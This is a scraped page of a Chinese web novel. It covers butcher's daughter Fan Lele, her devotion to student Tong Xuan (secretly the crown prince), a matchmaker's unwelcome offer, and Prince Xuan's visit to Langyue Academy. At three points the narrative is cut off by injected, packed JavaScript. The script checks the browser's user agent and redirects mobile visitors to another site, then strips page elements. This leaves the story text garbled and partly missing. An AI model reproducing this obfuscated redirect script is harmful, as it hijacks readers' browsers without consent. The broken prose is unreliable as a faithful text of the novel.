范乐乐噗地笑了,“爹爹,您真当太子能看得上您这宝贝女儿呢?” 她知道,在爹爹眼里,这世上就没有几个男子配得上她的。但他这也扯得太远了。 “爹,我不喜欢就是不喜欢,刚刚都已经明确拒绝了,他贺钟鸣难道还能强娶不成?” “这……”范屠户噎住了,这谁又说得准呢? 自那个臭名远扬的贺公子来肉铺请范乐乐同游后,范屠户这几日是饭都吃不好,就担心哪天他一上头,不管不顾就把乐乐强要了去。 范屠户思来想去,最后还是决定,要赶紧给女儿定个靠谱的亲事才行。 这日晚上,范乐乐在厨房洗过碗,边解着围裙边往出走,却见爹爹还坐在大堂等着,盘子里乘着削了皮儿的整梨,笑呵呵望着她。 爹还是这样,梨子从来都不切,说是什么“分梨”“分离”,寓意不好。 “爹,你还没歇息呢?” “乐乐,你过来,陪爹聊会儿天。”范屠户拍拍身旁的椅子,范乐乐顺势坐下,拿起来个梨就往嘴里送,水汪汪的眼睛真切地看着他。 范屠户清了清嗓子,左思右想,方才开口道:“乐乐啊,你看,过了今夏,你就满十七岁了。” 范乐乐咬一口梨,眨巴眼儿,朝他点点头。 范屠户在桌底下搓着手,“你看你娘啊,十六岁就嫁给了我,十八岁呢就生的你……” “爹,我还不想嫁。”范乐乐嚼着梨,应声打断。 爹爹的意思,她一听便知。 范屠户急了,一拍桌子,“你那是还不想嫁吗?你那是还在等那个佟暄!” 范乐乐一听,梨也不啃了,垂下头,把那个雪白白的果子握在手里,圆乎乎的小脑袋朝着范屠户,无端端叫人觉出委屈。 范屠户看着女儿低垂的头颅,心蓦地绞痛,“乐乐呀……你别怨爹说话难听,你心里怎么想的,爹都明白。可是他……” 他眉一凌,忽地鼓起个牛眼睛,一说起佟家那个臭小子就来气,“可他佟暄要是真对你有意思,早就上咱家提亲来了,至于拖到现在吗?你成天就知道围着他转,搞得街坊邻里全都知晓,可他呢?他跟你说过喜欢吗?给你许过未来吗?!” 范屠户几乎是咆哮出声,空旷的大堂回荡着他雄浑的叫骂。 范乐乐一下给干沉默了,手指抠着梨子,越发不出声。 “可是爹……”她开口,嗓音哽咽:“我觉得他……不讨厌我的啊……” “哎呦!”范屠户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“爹……”范乐乐放软了语气,“你就这么急着把我嫁出去吗?你真舍得吗?我还想再多陪爹爹几年呢。” “不是我急,是你耽误不起。” 刚过豆蔻年纪的少女,对这个的世界的险恶还是认识不足。 他知道闺女这性子,不吃点苦头是不会明白的,可有的苦头,一吃就是一辈子啊!他绝对不能眼看他家乐乐,落入到这种不幸当中。 看来是时候,找佟家那个臭小子好好谈谈了,哼! 范屠户打定主意要找佟暄谈判,这几日正在用心挑选着杀猪刀,预备“磨刀霍霍向佟暄”。 他这边还没行动呢,这日,负责送饭的范乐乐扛着个麻袋,把食盒送到肉铺里,就来舔着脸跟他告假,“爹,我今儿下午出去一趟,铺子辛苦你一个人看着,明儿全天都我来!”她拍拍胸脯,信誓旦旦。 范屠户气不打一处来,刀往案板上一拍,横眉怒瞪,“前几天我怎么跟你说的?全当耳边风了!又琢磨往山上跑,你皮又痒了是吧?!” 范乐乐把麻袋往肩上一甩,撒腿就跑,范屠户的骂骂咧咧被一溜烟甩在了身后。 * 琅岳书院。 范乐乐扛着麻袋,哼哧哼哧爬上山,跨进书院门来。 哎?今日的书院不一样,很不一样。 她转着脑袋一通打量,不禁啧啧感叹。整个书院就跟被水冲刷过一遍似的,桌椅俨然,窗明几净,入门处甚至还摆上了一排石兰花。 书院上下,透露着一副严阵以待的紧绷。 这是怎么回事? 她抓过一个提着水桶匆匆跑过的学子,“哎,小兄弟,你们书院最近是有什么事儿吗?” 他放下桶,眉飞色舞道:“是宣王殿下,他要来我们书院视察啦!” 啊……她想起来了,那天被夫子罚站,好像是有听佟暄提过这么一嘴。 宣王李赫,先皇第八子,当今圣上同父同母的胞弟,身份煊赫,为人张扬恣肆。梓州是他的封地,浔阳县隶属梓州,这块儿自然也是他的地盘。 可这个李赫,是个最有名的富贵闲散王爷,怎么突然想起来这琅岳书院,关心起梓州的教育事业了呢? 嗨,这些大人物的事儿,离她太遥远,她操不到这个心。 紧了紧肩上的麻袋,直奔学堂而去。她都算准了,这个点,学子们正是课间休息呢。 “佟暄!” 她跳进学堂门,声音成功吸引了一屋子学子的注意,她却浑然不觉,红着小脸儿气喘吁吁,眼睛只盯着案桌边那个清风冷月般的少年。 佟暄这边厢正跟吴松明讲题,听到那声中气十足而又无比熟悉的呼唤,顿时蹙起眉头,不耐烦地合眼,手轻轻揉按着眉心。 哎,又来了,头疼。 4. 媒婆来访 “佟暄!” 范乐乐一声呼呵,提溜着麻袋跑过来,袋子在身后一颠一颠的,打湿了小半块后背。 她在佟暄桌前俯下身,将麻袋从肩头卸下,连忙就去开包裹,“这是我昨儿新鲜摘的莲蓬,你尝尝。” 麻袋口子一开,一簇又一簇翠绿的小莲蓬挤挤挨挨地,脸朝脸、脚朝脚,挤满了整整一麻袋。清爽的莲蓬香气扑鼻而来,叫人瞬间神清气爽。 佟暄盯着这一整袋的莲蓬,愣住了,第一反应竟然是:她是怎么把这大一袋东西扛上山来的? “给,这两个个儿大,你尝尝。”她乐呵呵塞了两个莲蓬放他手里,转头朝学子们招呼:“大家快来一起尝尝,我新鲜摘的莲蓬哩!这夏天热,刚好可以清心降火。” 众学子一听,将书一甩,闹哄哄围过来,一只又一只手朝麻袋里伸。 一向喜静的佟暄:“……” 头大,真的头大。 “哎?这儿又有什么好东西呀?” 这边正热闹着,门口走进来三个人,俩小弟团着一个老大,为首那个赫然便是“琅岳恶霸”,王允。 他右边脸淤青还没消,滑稽地顶出来,眼睛被挤成条缝儿。穿一身绫罗绸缎,手上执一柄玉骨扇,自以为风流倜傥地挥着。 “王允!你终于来了,我今天找的就是你。”范乐乐卷起袖子,朝他走来。 “你……你你你!你又想干什么?”王允连忙捂住自己右脸,吓得连连后退。 那天被打的阴影到现在还挥之不去。 啧,真是个怂包。 范乐乐从腰带上解下个绣囊,“来,给你的,接着。” “这……这什么?你又想干吗?”王允满脸写着抗拒。 范乐乐瞧他鼠胆模样儿,突发奇想,恶向胆边生,把那绣囊直直朝他砸去,“霹雳霰炸弹,嘣!” 王允惨叫一声,转头夺路而逃,绣囊就这么被弃置地上,孤零零躺着。 范乐乐笑得捂住肚子直乐。就他这怂样儿,要不是他爹有钱,谁愿意跟在他后面做小弟? 众学子见这一幕,也是忍俊不禁,屋子里响起三三两两的笑声。 王允跑出去,见屋子里没有大动静,又摸着门槛回来,就看到范乐乐手插着腰,一脸耀武扬威看着他。 “范乐乐!你什么意思?!耍我呢?” “是呀,我就耍你了,就遛你了,怎么着?就许你欺负别人,还不许我欺负欺负你了?”她明媚的小脸儿一昂,理直气也壮。 “哎,允哥。”小弟周济明捡起地上的绣囊,胳膊肘戳戳他,“你看。” 王允低头一瞧,傻眼了。 却见那绣囊里头,竟是躺着一袋子铜钱儿。 “你……这什么……?”王允不明所以地望着她。 “钱啊,不认识?” “你给我钱干吗?”王允莫名其妙,包括这一屋子学子,也是懵了。 “我打伤你的医药费啊!我大概估算过了,差不多是么个价,你就收着吧。” 王允:“……” 众人:“???” 王允拿着这绣囊,只觉更不痛快了,“范乐乐,你故意的吧!别瞧不起人啊,我家里连这点医药钱都出不起吗?” “你家里是有钱,可一码归一码。你欺负吴松明,我自然是要收拾你,但你的伤确实也是我打的,理应我要出这个钱,这跟你家有钱没钱没关系。”她摆出一个严肃的表情,少见如此的郑重其事。 她范乐乐可不是那蛮不讲理的人呢。 众人都听懵了,连王允也拿着那钱,不知该收还是该还。 “哦,但我可警告你哦,以后再敢欺负吴松明,我照打不误!”她挥起她的小粉拳,乌黑的眼珠一瞪,对他示以警告。 王允咽了咽口水,撇撇嘴。 而此时坐在佟暄身边被美救英雄的吴松明,正托着他的下巴,两眼放光地望着范乐乐。 乐乐可真好,是全天下最好的女孩儿了。 范乐乐把最后一点莲蓬分完,特地嘱咐佟暄一定要留两个送给夫子,随后便将麻袋一卷,出了学堂门。 “范乐乐。” 佟暄在身后把她叫住。 范乐乐立在庭院里,转过身,看着他朝自己走来。 他一身牙白直裰学子服,靛青布镶边,外形洗到发旧,书生气十足的打扮,可他穿来就是有一种深沉气势。萧萧肃肃,清朗明秀。 范乐乐又看呆了,直到他落到自己跟前儿来。 她绽出一个笑,仰起小脸儿,乌黑的眼睛如新月,满是天真地看着他,那模样活像一只祈求表扬的小狗,佟暄甚至能看她身后竖起了一根尾巴,拼命地摇啊摇:我今天表现是不是很棒?快表扬我!快表扬我啊! 范乐乐就是这样,一点心思也藏不住,有点什么想法全写脸上了。 她这样子还真是……有点可爱呢。 忍住心底翻滚起的那点笑意,他努力绷住嘴角,维持住了不苟言笑的冷脸。 没错,对范乐乐就是要这样,她真的是会给点阳光就灿烂,顺根杆子就能往上爬。但凡他今天泄露了一点笑容,她保管就能尾巴翘上天!接下来的几天,都会往书院跑断腿。 “范乐乐,你这几天千万别来书院了。” “啊?为什么?”身后的小尾巴唰地就掉地上了。 “后日宣王过来巡视,这是大事,书院为此准备了很久,不容有误,你莫要过来添乱。” 范乐乐完全自动忽略他那个刺耳的“添乱”:“我知道!宣王要来!”她双手合十,抵在下巴上,祈求地看他,“那我可不可以也躲在人群里面,就偷偷……偷偷……看那么一眼。我保证,我会乖乖的,看一眼就走。” “不可以。” “可是我真的很想见一见嘛……那可是宣王殿下哎!皇亲国戚!”她弯眼一笑,右边一颗小虎牙顶出来,“要是能见到王爷,我都可以拿去吹嘘一辈子了!” “皇亲国戚又怎么了?不都是一个鼻子一双眼,难不成还能有什么上天入地的本事?”他心中冷笑,眼神都暗淡了去。 他要是真这么有本事,也不会被父皇母后丢在这僻远的小县城,这么多年不闻不问,仿佛就当从来没有过他这么个儿子一样。 “哦……不来就不来嘛……”范乐乐丧气地垂着头,去扯手里的麻袋,连头上的两只双环髻,都像是耷拉下来的兔子耳朵,无精打采。 鬼迷心窍地,他伸手,拽拽她的小发髻,“你明天乖乖守好铺子,过几日夏至,我带你去放河灯。” 范乐乐唰地抬头,“真的?!不许反悔!” “嗯。”他点头,“说到做到。” 范乐乐得了佟暄的承诺,终于高高兴兴下了山。 佟暄目送范乐乐欢快的背影消失在山阶上,衣袍一提,快速钻入山间的树林里。 他卷起手指放入口中,吹出一声短促的哨鸣,林间飞鸟略过,一道黑色的闪影自绿树间翻腾而下,擦出轻微的响动,不察间,便已经落到了佟暄面前。 他俯身跪下,将信双手举过头顶,“殿下,宣王回信已至。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459479|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>佟暄抽过信封,撕开印有宣王刻章的蜜蜡,展开阅读。信上只一行字:此次前来,有要事与袁弘佐相告,勿忧,面谈。 他仰头望天,神色忧虑。 三叔为何忽然要找袁夫子?莫非……宫中有何情况?但自己最近也没有收到情报啊。 信纸在手中捏作一团,内心惊疑不定。 自被皇帝下放到民间,他时刻惶恐,生怕哪一日就被皇家丢弃在此。 一个被遗弃的太子,等待他的必不会是平静的寻常生活,继任的新帝务必会对他赶尽杀绝,以绝后患。 现下宫中,三皇子和五皇子正打得火热,势力盘根错节,分庭抗礼。而他却窝在这穷乡僻壤,无处施展。 只怕人为刀俎,我为鱼肉。 可他佟暄,不甘心呐! 强自定了定心神,确认自己面色无异后,方才转身回了书院。 究竟有何变故,只好待后日,三叔来了再寻商议。 * 范乐乐昨儿告了一日假,今日果然如约,在铺子里乖乖守了一天。 范屠户安心在家歇息,给爷俩做饭。正抱着捆拆柴去厨房生火,却听大门口响起了敲门声。 他疑心,门打开,来者竟然是张媒婆。 她扭着屁股大摇大摆地进来院子,往石凳上一坐,咧开大嘴就笑:“范老板,恭喜贺喜!你家祖坟上冒青烟啦!那知县家的贺二公子邀我做媒人,要纳你家乐乐进门呐!” 她说完,自顾自拍掌笑,仿佛自己真宣布了一个多么了不得的喜讯似的。 范屠户却是当头一棒,愣在了原地,怎么也笑不出来。 听听她说的话,要“纳”他家乐乐?他本就不欲乐乐嫁给那个浪荡的纨绔子,现下那贺二竟然还想着把他家乐乐弄过去做小?? 啊呸! 但那可是知县家,现在表面上客客气气来“提亲”,实则哪儿有他不答应的份儿?他背后冷汗涔涔,左右手搓着,只想着找个什么说辞退掉。 他心里早把那贺二骂得狗血喷头,脸上却是团着笑,向那媒婆道:“大妹子,你看这事儿闹得,太不巧了不是。” “怎么了?”张媒婆脸一皱,坐直了身子。 “这个……我家乐乐恐怕是没有那个福气了,因为她……她……她早前已经许过人家了。” “什么时候的事儿?”张媒婆诧异,“那前段时日,你不还央我给你家乐乐说对象来着?怎么说许了人便许了人?” 范屠户的后背已经湿了一片,他也不知临时该去哪儿抓个人来,苦思冥想,不由瞥一眼院墙。 “就是……隔壁佟家的大儿子。” 张媒婆一听,眼睛鼓起老大,“就那佟泥瓦匠的穷酸儿子?范老板,你别犯糊涂呀!这哪儿能跟贺二公子比?你家乐乐要是嫁过去,那就飞上枝头变凤凰,留在他佟家,还不是只有做一辈子泥腿子的那份儿?” 范屠户勾着头,直摆手,“哎,没办法,也是跟人家提前说好了的,不好翻悔的。” 张媒婆叹一大口气,心中暗骂这范屠户是个不识好歹的,又扭着她那屁股走了。 张媒婆一走,范屠户急得直跳脚。 完了完了完了!这下真是没法儿可想了! 他明知佟暄对自家乐乐无意,眼下关难过,他拿他出来挡,若到时人家真不乐意娶呢?这可怎么收场啊?! 这事儿,他还得暂且按下,可不能叫乐乐知道,否则的话,就怕她真敢拿把刀直接架那贺二的脖子上。 势不容缓,他得赶紧找佟暄谈谈了。 5. 仙人托梦 两日后,琅岳书院。 今日是宣王来访的日子,书院上下绷紧了神经,全力做好迎接工作。 “这个花盆,给它放到这边来。” 戴哲站在大堂里,指挥着学子们打点学堂。 戴哲是袁弘佐的得意门生之一,因其周到圆融的为人处世,特被袁弘佐濯拔为斋长,协助料理书院一应杂事。 “嘶……不行不行,还是给它摆回去吧。” 他横竖看了下,觉着还是放回原先那个位置好。吴松明哦了一声,也没多话,又抱着那盆文竹,挪回原来的地儿。 “思齐,你在做什么?”山长胳膊下携本书,缓步迈过门槛。 戴哲朝他行个礼,“山长,下午宣王来访,我想着叫他们整理得齐全点,确保没有错漏。” “嗳!”袁弘佐摆摆手,看着这满屋子瞎忙活的学子们,皱眉道:“快叫他们停了,赶紧准备准备上课。” “这……今日还上课吗?”戴哲疑惑了,皇室宗亲来巡查,书院上下不得严阵以待才是?夫子竟然还有心思照常上课? 听他这一问,袁弘佐的眉头皱得更紧了,“怎么?王爷来了我们就连课都不上了?这是书院,上课是天经地义。” “夫子说得是。”戴哲转头赶紧组织学子们,开始回到座位,准备上课。 袁弘佐对于宣王的拜访固然谨慎,但并不过分紧张。 别看他只是个浔阳县的小小山长,胡子灰白,年逾花甲,但他的身份并不简单。袁弘佐曾任大雍朝的翰林学士,学识渊博,精通历史,当年在朝为官之时,以一手漂亮的策论,誉满朝廷。袁弘佐正是浔阳县人,他辞官后告老还乡,本想着在家颐养天年,却又被圣上御笔一批,送来这琅岳书院当山长。 想当年,袁弘佐接管琅岳书院时,在这浔阳县引起了不小的震动。小小的琅岳书院竟能有翰林学士坐镇,一时间周围乡县都有不少学子慕名前来。 袁弘佐初不解皇帝之意,后见许多莘莘学子的拳拳求学之心,也被感动,认为皇帝是希望自己能够替大雍朝培养出更多的济世之才。于是他打定主意,退休不退工,要继续在山长这份职位上,为大雍朝的教育事业发挥余热。 申时一刻,宣王驾临。 袁弘佐暂时歇课,领众学子在书院大门恭候。 远远地,就能瞧见宣王的步舆,摇摇晃晃从山下冒出头来。小叶紫檀木打就的小轿,挂香囊,披彩绸,四个轿夫扛在肩上,竹帘垂下,遮去了毒辣日头,只能隐约看见里面端坐的人影。步舆左右两列各侍奉着四个侍女,有的捧果盘,有的持团扇,绿裙宫绦,鲜丽佳人。 佟暄远远看着,心中嗤笑一声。这个三叔,还是这么招摇臭显摆。 虽还未能见着宣王面,但宣王身边的侍女们就已看呆了不少学子。 “袅袅楚宫腰,纤纤濯素手。”方恺喃喃出声,眼睛都看直了,斋长戴哲只是瞥了眼众侍女,遂很快地垂下头去。 吴松明见方恺那痴傻样,袖着手又探了几眼佳人们,连连摇头,“这颜色,比起我们乐乐还是差远了。” 我们乐乐……? 佟暄转头,视线轻松越过两个头顶,凉凉地瞥一眼吴松明。 吴松明抬手摸摸后脖颈,嘶!奇怪,这脖子怎么没来由的发凉? 宣王的步舆终于落在书院大门前,侍女掀开帘子,搀着他的手将他扶出来。 宣王探身出来,只见他紫袍金带,玉冠束发,俊美的脸上岁月痕迹明显,却越发显出他雍容的气度来。 袁弘佐领众学子跪拜,高呼王爷千岁。 “都起来吧。”宣王招一下手,眼神迅速锁定在一道修长俊挺的身影上。少年身形孤直,垂头立在人群中,并不去抬头看他。似乎同所有普通学子一样,把他视作一位高不可攀的亲王。 臭小子,好像又长高了。他心中暗笑。 袁弘佐并不知宣王来意,以为他是来关心琅岳书院的教育,毕竟是他治下的地方,也想做出点成果来。 学子们还有课,迎接完后便又回了学堂,继续“之乎者也”去了。山长带着宣王在书院里游逛,把书院的历史沿革、文化背景、教育成果等等一一详尽介绍,宣王只是点头,听得心不在焉。 终于,书院参观完了,他和山长在斋舍里对桌坐下。 小书童替二位上了茶,默默退出去。 宣王见四下无人,终于切入了正题。“袁翰林可知,当初您告老还乡后,圣上为何亲口将您点来这琅岳书院做山长吗?” 皇帝亲自任命这么小的一个职位,着实异乎寻常。当初袁弘佐也觉奇怪,但并未多想,现下宣王竟又特意提起,反是叫他警惕了起来,这事情,恐怕没有那么简单。 “下官妄揣圣意,想来应是希望我能为大雍再多培养出一些治国人才罢?” 宣王勾唇一笑,“对,也不全对。” “下官糊涂,还请王爷指教。” 他身子往前倾过去,两手撑在桌上,沉声道:“官家希望学士能为大雍培养一位治国之才。” “一位?”很快,这位老翰林捕捉到言语中的异常之处,疑惑的眼神对上宣王,却见他笑容莫测,“不错,官家将你调来这里,正是希望你能将一子好好培养。” 袁弘佐疑惑愈盛,大脑飞速运转。能让官家如此费心之人,恐怕非皇子不能,但又神秘不语,如此保密,想来……是官家遗落在外的私生子?!如此,官家不愿同他直言,便也可以解释了。 他内心有些没边际的揣测,大着胆子开口:“书院可是有……皇子在读?” 见宣王露出点欣赏的神情,知是自己猜对了。 啧啧啧,风流韵事,看来官家当年南下,没少留情呀。 宣王瞧他表情不对,不似诚惶诚恐,倒是显露出点八卦意味,忙跟着道:“学士应当知晓,当今太子已称病十五年之久,隐居东宫,避不见人,既不临朝听政,也不主持宗庙。外界流言漫天,有人说太子失宠,官家有意废除太子;也有人说,太子早已病逝,只是宫廷秘不发丧。” 袁弘佐听宣王左一句“太子”右一句“太子”的,心里生出一种预感,不由惶惶然,脑袋都开始冒汗了。 “是……这些传闻……下官也有所耳闻。” “都是假。” “假?” “太子他没死没病,官家也没有废除太子之心。” 袁弘佐的手已经在桌子底下抖了,他开始在脑海里拼命搜寻,自己平素有没有苛待过哪个学子?平时管教严格、拿戒尺打得最狠的那几个学子都有谁? 袁弘佐还在这边颤颤巍巍,宣王继续声色平稳道:“太子之所以十五年未曾露面,是因为他……” 袁弘佐强迫自己与宣王对视。 “因为他被官家寄养到浔阳县一户平民家里。” “刺”!袁弘佐感觉身后放来一簇冷箭,直穿他脆弱的小心脏。 官家既把太子放到了琅岳书院,如何不早言?他这么大把年纪,实在经不起这惊喜的折腾呀! 无论心里如何呼啸,他面上依旧镇定,适当地表露出浅浅的疑惑:“官家为何要如此做?” 太子乃皇室血脉,国之根本,如此金娇玉体,不把他宝贝似的好生供养,竟丢到平民家里养育?民间生活艰苦恶劣,万一太子有个什么三长两短,这可怎生是好?官家也真是狠得下心来,纵观历朝历代,都没有这样做的皇帝呀。 宣王长出口气,靠进圈椅里,眉头凝重,“当年太子出生,梓州大旱,数万民众死于饥荒,实乃不祥之兆。可太子诞生当夜钦天监却监测到,北方紫微星动,是帝王之运。如此矛盾,官家实在不解上天旨意。” “忽一日,官家在御书房小眠,却见一僧一道入梦而来,上前言说:太子乃国之大才,帝王之相,可惜天性寡情,善念缺失。若教养得当,必能创一代盛世,延大雍朝国祚绵长;可若教养不当……大雍朝的国运恐将断送在他手中。” 袁弘佐听得晕晕乎乎,甚至一度怀疑宣王是不是在梓州待得无聊,特地过来拿他寻开心了?但转念一直想,宣王胡说八道的可能性和官家神仙托梦的可能性……他还是选择相信官家确实做了这个梦。 “那所以仙人指示,应当如何教养?” “远离深宫幽闭,品民间疾苦,尝世间百味。” 袁弘佐点点头,若有所思,忽而又想起重要的事来,急问道:“那……这太子……”他想知道究竟是哪位学生,却又害怕知道,在心中默念祈祷:千万不要是那几个上房揭瓦的捣蛋鬼……也不要是那几个连《论语》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459480|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都背不进的榆木脑袋……最最最要紧的,千万不要是那个整天受人欺负的吴松明呀!这要是以后太子回宫,可不得连带着把他一起算在这口恶气里? 宣王瞧他那样儿,知他是吓着了,安抚着笑道:“学士莫慌,太子天资聪颖,龙凤之姿,您把他教养得很好。” 他这才定下心来,恍恍惚惚,一个气质出挑的身影渐渐在他脑海中冒出。 * “佟暄!” 方恺扑到他身上,揽住他的肩,佟暄无视压上肩头的重量,手依旧稳稳持着书,专注其上。 正值学堂的休息时间,大家都三三两两聚在一起,小团体讨论得热火朝天,有的在艳羡宣王的富贵气派,有的在感叹范乐乐的剽悍勇猛。佟暄并不感兴趣这种无聊的讨论,但方恺和吴松明几个人总爱团在他身边,也是七嘴八舌说个不停。 方恺:“那个范乐乐,真是太猛了,松明你是没看到,她上来就把那个王允一脚踹翻在地,骑在他身上,一个左勾拳、一记右勾拳……”他说着,左手在空中比划一下,右手依旧揽住佟暄的肩,“那个出拳,真叫一个利索漂亮,把那个王允啊,打得滚在地上嗷嗷叫唤。” 吴松明听着他的转述,脸上抿出一个浅浅的笑,想起乐乐给自己出了气,心里头就暖暖的。很快,他想起什么来,眉头紧皱起,“我就担心……乐乐把王允给得罪了。” 王员外在浔阳县家大业大,颇有些势力,书院的学子没几个敢跟王允硬碰硬的,要不躲着,要不巴结着,说他是“琅岳书院”的恶霸也不为过。 方恺:“你别说,王允那个家伙,心眼比针小。前日乐乐又戏耍了他一次,指不定什么时候他就要报复回去呢。” 吴松明急了,“那怎么办?乐乐会不会有麻烦?” “不会的。”佟暄眼睛盯着书,又轻轻揭过一页。 方恺:“啧,你说不会就不会了?” “是。”他轻轻吐出个字,笃定的自信。 吴松明听他这么一说,莫名心就定了。他看起来分明也就是个布衣学子,但许是身上气度沉稳,就是叫人由衷地信服。 方恺笑着捶一下他胸,“呦,口气真挺大,你以为你同王允似的,有个厉害的爹呢……” “方恺!” 门口传来夫子一声大喝,学堂霎时安静下来,纷纷转头望去,就看到夫子一张满是怒气的脸。 袁弘道被宣王带来的消息冲得头昏脑涨,沿着回廊走了一路,反复回想他对太子的态度有无不当之处,结果一进学堂,就看到方恺对着太子勾肩搭背,差点没给他气得厥过去。 “你这七扭八歪地像什么话?!给我下来!” 方恺唰地原地站直,神色发懵。 怎么了吗?自己以前不都这样吗?怎么他佟暄的肩膀还搭不得了? 袁弘佐点了几个学子,差他们去斋舍面见宣王。 众学子一看夫子挑的人,立刻心下了然,都是平素功课好、应答快的人。 吴松明看着好友们一个个都被夫子点名过去,就剩自己傻坐在座位上,心里还是不由一阵小失落。但转而一想,自己本就资质平庸,没被点中才是正常,怎么还能生出这种不切实际的妄念呢?做通了自己的思想工作,他重新整理好心情,又去准备上下一堂课了。 袁弘佐领着佟暄、方恺、戴哲还有柳兆卿,四个人去往斋舍。走到房门口,他回过头,看了眼人群中的佟暄,别人都一脸谨慎肃穆,紧张得不得了,就他从容淡定,依旧是那副宠辱不惊的温润模样。 果然,太子就是太子。他膝盖窝一哆嗦,差点没腿软跪在了佟暄面前。幸好自己平时对他也算和颜悦色,就算偶尔严厉也是为尽夫子职责,而且他功课又是数一数二的好,如此,他悬着的心可算是放下了一半。总算没有把太子教毁咯。 他在门口又叮嘱了几句,无非是注意礼仪、小心回话之类的,就怕他们鲁莽冲撞了亲王。随后开始“排兵布阵”: “王爷吩咐,一个一个单独见。方恺,你先进,柳兆卿随后,佟暄最末。” 学子们既紧张又兴奋,这恐怕是他们此生能够见到的最大人物了。 可他们不知道,宣王是“醉翁之意不在酒”,他们不过是夫子叫来打掩护的,他真正想要见的,只有佟暄。 6. 四面楚歌 方恺和柳兆卿接连进去,如袁弘佐所料,二人很快地便出来了,都长出口气,俱是一副“劫后余生”的模样,有种终于把上峰应付过去的轻松感。 估计也没聊什么有营养的话题,他想着。 戴哲在佟暄前面进去,但没想到,他在里面待了许久都未出来,比之前两位加起来的时间还要长,外面的人甚至能听到屋里时不时传来宣王爽朗的大笑。 方恺和柳兆卿面面相觑,连袁弘佐也心生奇怪。他们这是在里面聊什么呢? “好诗呀,这可真是好诗。”宣王持着戴哲送上来的诗作,手不释卷,连连赞叹:“尤其是这首《琅山独坐》,既有凌云之气,且意境超绝,颇有古人风韵呀!” 他放下诗卷,朝戴哲投去欣赏的眼神,“没想到,这琅岳书院竟有这般诗才卓著的学子。” 戴哲面色平稳,并未因此而显露出任何喜色,反是越发恭谦地低下头,“王爷过誉了,都是夫子培养得好。” 这次知道宣王要来书院拜访,戴哲早早地就开始准备,他料定这是一次千载难逢的表现机会。哪怕能叫王爷对自己有个一闪而过的好印象,或许未来都有可能成为自己的助力。 他暗中打听到,宣王其人爱好风雅,是个逍遥享乐的闲散王爷,平时最好纠结一大帮文人,闲来无事便登高作赋,把酒吟诗。他知道宣王不好那种论证治国之道的策论,而是欣赏诗赋,因此特地备下了厚厚一本诗集。 其实,他也没有把握一定能将诗作呈到宣王面前,但是万一呢?他依旧做好了万全准备,哪怕是从指缝中漏出的一丁点儿机会,他都会上前牢牢抓住。 “吱”,门开了,戴哲神色自若地走出,侍女将佟暄迎进去。 “怎么样?”方恺和柳兆卿立马围上去。 方恺:“我听宣王在里头笑得好大声,你们都说了些什么?” 戴哲深深看他一眼,眼神晦暗不明,随后摆出一个温和的笑:“没什么,就是跟王爷讲了些近来听到的趣闻轶事。” “嘶!”方恺倒吸口气,“你竟敢同王爷讲笑话?”他朝他比出个大拇指,“还是戴兄厉害,够胆。” 他抿嘴笑笑,没再说什么。 斋舍内。 侍女刚把门在身后关上,宣王就迫不及待起身,绕过书桌,上前一把抓住他的肩膀,“快!让叔看看,啧啧,臭小子,这才几个月没见,一下蹿那么老高呢?” 佟暄笑笑,顺从地被他带到圈椅里。 他同这个没心肺的三叔素来亲近。自己被下放到民间十余年,帝后也真能狠得下心不见他,只有三叔同他有些往来,毕竟他被送到佟氏夫妇家的身份,就是宣王不可告人的私生子。如此看来,三叔也算是做出点牺牲了,加上在梓州这些年,一直对他照顾有加,如此,宣王竟算是他最亲的亲人了。 “三叔这次找袁夫子究竟何事?”他犹疑了一下,“可是……父皇那边有什么动静?” “父皇”一词说出,他很不适应,就像他有时想到自己的真实身份竟是当朝太子,都有点不能自适。毕竟哪有太子,是像他这样的呢? 宣王看着他,眉目端平,谦逊柔和。佟暄身上有种谦卑,那种自发的气质,是其他天生自觉高人一等的皇子们所不具备的。或许,这正是皇兄当初把他放到民间的苦心吧。 “是,皇兄特地嘱托,命我将你的真实身份告知袁翰林。” 佟暄挣了大眼,不可思议。他在琅岳书院就读十年之久,袁弘佐是他入学第三年来的,也始终不知他的身份。可以这么说,整个梓州,除了宣王,根本没有第二个人知晓他的太子身份。 皇帝把这个视为最高机密,紧紧隐瞒了如此之久,为何会在此时告知袁弘佐呢? 宣王端正了身子,不复刚刚的散漫,严肃道:“当初皇兄将你放入民间教养,本就打定了主意,若你能成长为才,弱冠之年,便是你回宫光复太子身份之时。” “现在,你已年近十八,不到三年,便要回宫承大统,临朝政。因此,皇兄觉得是时候要袁翰林教给你一些太子应该知晓的东西。” 他沉沉看着佟暄,一字一吐:“帝王之术,制衡之道。” 这一些,都与平时书院所学的南辕北辙,是普通学子们根本接触不到的东西。而皇帝认为,现在是时候,该让人教会他如何做一个帝王了。 佟暄静静注视着他,墨黑的眸子暗流涌动。忽而,他轻嗤一声。 他可并不觉得回宫已经指日可待了,他没有忽略宣王话中的重要前提:要想回宫,成长为才。 他偏头看向窗外,眉眼沉沉压下,目光悠远。 